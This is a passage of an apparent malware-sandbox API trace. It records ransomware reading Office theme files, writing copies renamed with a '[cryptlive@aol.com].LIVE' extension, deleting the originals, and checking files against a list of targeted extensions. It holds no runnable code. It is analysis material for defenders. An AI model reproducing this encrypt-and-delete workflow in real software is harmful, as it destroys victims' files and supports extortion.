lpNumberOfBytesRead=0x2d8fed4*=0x581a, lpOverlapped=0x0) returned 1 [0135.358] WriteFile (in: hFile=0x390, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x5820, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x5820, lpOverlapped=0x0) returned 1 [0135.359] ReadFile (in: hFile=0x1ec, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0135.359] WriteFile (in: hFile=0x390, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0135.360] SetEndOfFile (hFile=0x390) returned 1 [0135.360] CloseHandle (hObject=0x390) returned 1 [0135.360] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.360] SetEndOfFile (hFile=0x1ec) returned 1 [0135.367] CloseHandle (hObject=0x1ec) returned 1 [0135.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0135.542] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx")) returned 1 [0135.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0135.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0135.573] lstrlenW (lpString=".doc") returned 4 [0135.573] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0135.573] lstrlenW (lpString=".docx") returned 5 [0135.574] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0135.574] lstrlenW (lpString=".pdf") returned 4 [0135.574] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0135.574] lstrlenW (lpString=".xls") returned 4 [0135.574] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0135.574] lstrlenW (lpString=".xlsx") returned 5 [0135.574] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0135.574] lstrlenW (lpString=".ppt") returned 4 [0135.574] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0135.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0135.574] lstrlenW (lpString=".zip") returned 4 [0135.574] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0135.574] lstrlenW (lpString=".rar") returned 4 [0135.574] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0135.574] lstrlenW (lpString=".bz2") returned 4 [0135.574] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0135.574] lstrlenW (lpString=".7z") returned 3 [0135.574] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0135.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0135.574] lstrlenW (lpString=".dbf") returned 4 [0135.574] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0135.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0135.574] lstrlenW (lpString=".1cd") returned 4 [0135.574] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0135.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0135.574] lstrlenW (lpString=".jpg") returned 4 [0135.574] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0135.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0135.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0135.574] lstrlenW (lpString=".doc") returned 4 [0135.574] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0135.574] lstrlenW (lpString=".docx") returned 5 [0135.574] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0135.574] lstrlenW (lpString=".pdf") returned 4 [0135.574] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0135.574] lstrlenW (lpString=".xls") returned 4 [0135.575] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0135.575] lstrlenW (lpString=".xlsx") returned 5 [0135.575] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0135.575] lstrlenW (lpString=".ppt") returned 4 [0135.575] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0135.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0135.575] lstrlenW (lpString=".zip") returned 4 [0135.575] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0135.575] lstrlenW (lpString=".rar") returned 4 [0135.575] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0135.575] lstrlenW (lpString=".bz2") returned 4 [0135.575] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0135.575] lstrlenW (lpString=".7z") returned 3 [0135.575] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0135.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0135.575] lstrlenW (lpString=".dbf") returned 4 [0135.575] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0135.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0135.575] lstrlenW (lpString=".1cd") returned 4 [0135.575] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0135.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0135.575] lstrlenW (lpString=".jpg") returned 4 [0135.575] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0135.575] lstrcmpiW (lpString1=".eftx", lpString2=".LIVE") returned -1 [0135.575] lstrlenW (lpString="Black Tie.eftx") returned 14 [0135.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0135.747] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=618119) returned 1 [0135.747] CloseHandle (hObject=0x384) returned 1 [0135.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx")) returned 0x20 [0135.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0135.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0135.748] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.748] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0135.748] GetLastError () returned 0x0 [0135.748] ReadFile (in: hFile=0x384, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x96e87, lpOverlapped=0x0) returned 1 [0135.764] WriteFile (in: hFile=0x39c, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x96e90, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x96e90, lpOverlapped=0x0) returned 1 [0135.777] ReadFile (in: hFile=0x384, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0135.777] WriteFile (in: hFile=0x39c, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0135.777] SetEndOfFile (hFile=0x39c) returned 1 [0135.777] CloseHandle (hObject=0x39c) returned 1 [0135.778] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.778] SetEndOfFile (hFile=0x384) returned 1 [0135.873] CloseHandle (hObject=0x384) returned 1 [0135.873] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0135.922] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx")) returned 1 [0135.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0135.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0135.923] lstrlenW (lpString=".doc") returned 4 [0135.923] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0135.923] lstrlenW (lpString=".docx") returned 5 [0135.923] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0135.923] lstrlenW (lpString=".pdf") returned 4 [0135.923] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0135.923] lstrlenW (lpString=".xls") returned 4 [0135.923] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0135.923] lstrlenW (lpString=".xlsx") returned 5 [0135.924] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0135.924] lstrlenW (lpString=".ppt") returned 4 [0135.924] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0135.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0135.924] lstrlenW (lpString=".zip") returned 4 [0135.924] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0135.924] lstrlenW (lpString=".rar") returned 4 [0135.924] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0135.924] lstrlenW (lpString=".bz2") returned 4 [0135.924] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0135.924] lstrlenW (lpString=".7z") returned 3 [0135.924] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0135.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0135.924] lstrlenW (lpString=".dbf") returned 4 [0135.924] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0135.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0135.924] lstrlenW (lpString=".1cd") returned 4 [0135.924] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0135.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0135.924] lstrlenW (lpString=".jpg") returned 4 [0135.924] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0135.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0135.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0135.924] lstrlenW (lpString=".doc") returned 4 [0135.924] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0135.924] lstrlenW (lpString=".docx") returned 5 [0135.924] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0135.924] lstrlenW (lpString=".pdf") returned 4 [0135.924] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0135.924] lstrlenW (lpString=".xls") returned 4 [0135.924] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0135.924] lstrlenW (lpString=".xlsx") returned 5 [0135.924] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0135.924] lstrlenW (lpString=".ppt") returned 4 [0135.924] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0135.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0135.925] lstrlenW (lpString=".zip") returned 4 [0135.925] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0135.925] lstrlenW (lpString=".rar") returned 4 [0135.925] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0135.925] lstrlenW (lpString=".bz2") returned 4 [0135.925] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0135.925] lstrlenW (lpString=".7z") returned 3 [0135.925] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0135.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0135.925] lstrlenW (lpString=".dbf") returned 4 [0135.925] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0135.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0135.925] lstrlenW (lpString=".1cd") returned 4 [0135.925] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0135.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0135.925] lstrlenW (lpString=".jpg") returned 4 [0135.925] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0135.925] lstrcmpiW (lpString1=".eftx", lpString2=".LIVE") returned -1 [0135.925] lstrlenW (lpString="Essential.eftx") returned 14 [0135.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0136.128] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=16350) returned 1 [0136.128] CloseHandle (hObject=0x388) returned 1 [0136.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx")) returned 0x20 [0136.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0136.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0136.318] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.318] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0136.319] GetLastError () returned 0x0 [0136.319] ReadFile (in: hFile=0x390, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x3fde, lpOverlapped=0x0) returned 1 [0136.321] WriteFile (in: hFile=0x388, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x3fe0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x3fe0, lpOverlapped=0x0) returned 1 [0136.322] ReadFile (in: hFile=0x390, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0136.322] WriteFile (in: hFile=0x388, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0136.322] SetEndOfFile (hFile=0x388) returned 1 [0136.322] CloseHandle (hObject=0x388) returned 1 [0136.323] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.323] SetEndOfFile (hFile=0x390) returned 1 [0136.325] CloseHandle (hObject=0x390) returned 1 [0136.325] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.325] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx")) returned 1 [0136.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0136.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0136.326] lstrlenW (lpString=".doc") returned 4 [0136.326] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0136.326] lstrlenW (lpString=".docx") returned 5 [0136.326] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0136.326] lstrlenW (lpString=".pdf") returned 4 [0136.326] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0136.326] lstrlenW (lpString=".xls") returned 4 [0136.326] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0136.326] lstrlenW (lpString=".xlsx") returned 5 [0136.326] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0136.326] lstrlenW (lpString=".ppt") returned 4 [0136.326] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0136.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0136.326] lstrlenW (lpString=".zip") returned 4 [0136.326] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0136.326] lstrlenW (lpString=".rar") returned 4 [0136.326] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0136.327] lstrlenW (lpString=".bz2") returned 4 [0136.327] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0136.327] lstrlenW (lpString=".7z") returned 3 [0136.327] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0136.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0136.327] lstrlenW (lpString=".dbf") returned 4 [0136.327] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0136.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0136.327] lstrlenW (lpString=".1cd") returned 4 [0136.327] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0136.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0136.327] lstrlenW (lpString=".jpg") returned 4 [0136.327] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0136.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0136.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0136.327] lstrlenW (lpString=".doc") returned 4 [0136.327] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0136.327] lstrlenW (lpString=".docx") returned 5 [0136.327] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0136.327] lstrlenW (lpString=".pdf") returned 4 [0136.327] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0136.327] lstrlenW (lpString=".xls") returned 4 [0136.327] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0136.327] lstrlenW (lpString=".xlsx") returned 5 [0136.327] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0136.327] lstrlenW (lpString=".ppt") returned 4 [0136.327] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0136.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0136.327] lstrlenW (lpString=".zip") returned 4 [0136.327] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0136.327] lstrlenW (lpString=".rar") returned 4 [0136.327] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0136.328] lstrlenW (lpString=".bz2") returned 4 [0136.328] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0136.328] lstrlenW (lpString=".7z") returned 3 [0136.328] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0136.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0136.328] lstrlenW (lpString=".dbf") returned 4 [0136.328] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0136.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0136.328] lstrlenW (lpString=".1cd") returned 4 [0136.328] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0136.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0136.328] lstrlenW (lpString=".jpg") returned 4 [0136.328] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0136.328] lstrcmpiW (lpString1=".eftx", lpString2=".LIVE") returned -1 [0136.328] lstrlenW (lpString="Horizon.eftx") returned 12 [0136.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0136.330] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=211090) returned 1 [0136.330] CloseHandle (hObject=0x390) returned 1 [0136.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx")) returned 0x20 [0136.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0136.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0136.330] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.330] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0136.331] GetLastError () returned 0x0 [0136.331] ReadFile (in: hFile=0x390, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x33892, lpOverlapped=0x0) returned 1 [0136.336] WriteFile (in: hFile=0x388, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x338a0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x338a0, lpOverlapped=0x0) returned 1 [0136.341] ReadFile (in: hFile=0x390, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0136.342] WriteFile (in: hFile=0x388, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xec, 